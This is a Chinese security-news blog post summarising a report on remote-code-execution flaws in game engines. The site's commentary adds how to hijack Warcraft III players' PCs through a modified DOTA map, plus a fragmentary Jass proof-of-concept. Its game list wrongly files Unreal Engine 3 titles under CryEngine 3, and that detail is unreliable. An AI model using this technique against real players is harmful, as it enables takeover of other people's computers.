多个游戏引擎爆0day漏洞

国外安全公司ReVuln的研究人员Luigi Auriemma和Donato Ferrante近期发表一篇名为“Exploiting Game Engines For Fun & Profit”的报告,报告中称发现多个游戏引擎如CryEngine 3、id Tech 4 和Hydrogen Engine等游戏引擎的漏洞,特别是一些第一人称的射击游戏,成功利用可能获取控制权限。

以下游戏可能存在该问题:

CryEngine 3引擎:

虚幻竞技场3、战争机器、彩虹六号:维加斯、终结战争、真人快打、质量效应、失落的星球3、生化奇兵、蝙蝠侠阿卡姆等。

ID TECH 4引擎:

雷神之锤4、猎物2、毁灭战士3、边缘战士Brink等。

报告中提到,攻击者可以设置一个中介服务器,在游戏中会显示该服务器IP,如果你加入了该服务器,可能就会利用远程代码执行漏洞,攻击你的计算机。另外一方面,攻击者会定制一些存在问题的地图,当你更新地图的时候可能会触发拒绝服务漏洞。

视频演示地址[墙]

研究人员说:“目前游戏公司通常更加重视反作弊的解决方案,而不是提高游戏的安全性。”

[via computerworld]

[原文地址]

核总点评:

实际上,在几年前(2009)就有类似的新闻出现:

各大游戏高危漏洞(魔兽争霸、反恐精英)

对于国内玩家,这个漏洞利用率能够稳定在90%上。

War3 Jass虚拟机经测试,存在严重漏洞!允许运行时动态创建并执行任意机器码

Jass属于War3为地图开发者提供的一套脚本语言,方便开发者开发或建立修改属于自己的地图。

经过推断,CS (cstrike)可能也存在此类问题。

利用方式:登陆浩方或者VS对战平台,修改某张地图(例如DOTA的地图),开启游戏,等待其他玩家进入,开始游戏,即可执行任意机器码,控制玩家计算机。

Jass语言的用处

Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.

POC

set bj_meleeTwinkedHeroes[1024] = 0x90909090
set bj_meleeTwinkedHeroes[1025] = 0x90909090 //and other bytecode giberish.
...
local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )
call TriggerAddAction(t, C)
call TriggerExecute(t)
//It will run whatever bytecode 90 90 90 90 means
function main takes nothing returns nothing
set t = CreateTrigger()
call TriggerAddAction(t, i2code(0x00929217) )
a[0]=0x45623512
a[1]=0x34562323
a[2]=0x62329301
...
//other thousand lines of this
...
b[0]=0x12312333

相关内容:

网络游戏安全小议(端游/页游/手游)

求生之路2秘籍及作弊码和控制台全套指令

SourceMOD 插件制作基础教程(适用游戏:求生之路、CSS 等)

留言评论(旧系统):

佚名 @ 2013-06-19 18:10:08

那我不是初中开始就是肉鸡了? -_-b 有莫有war3的POC和修复,怒求一份啊核大

本站回复:

Google~~~

德滑 @ 2013-06-20 15:21:34

如果加入这些代码地图会不会变得很大?这样要下载完就要很久啊

本站回复:

代码只占几kb,几乎无影响。

基佬 @ 2013-07-13 17:44:14

不知道现在是不是还有漏洞

本站回复:

有的,只是很少有人研究……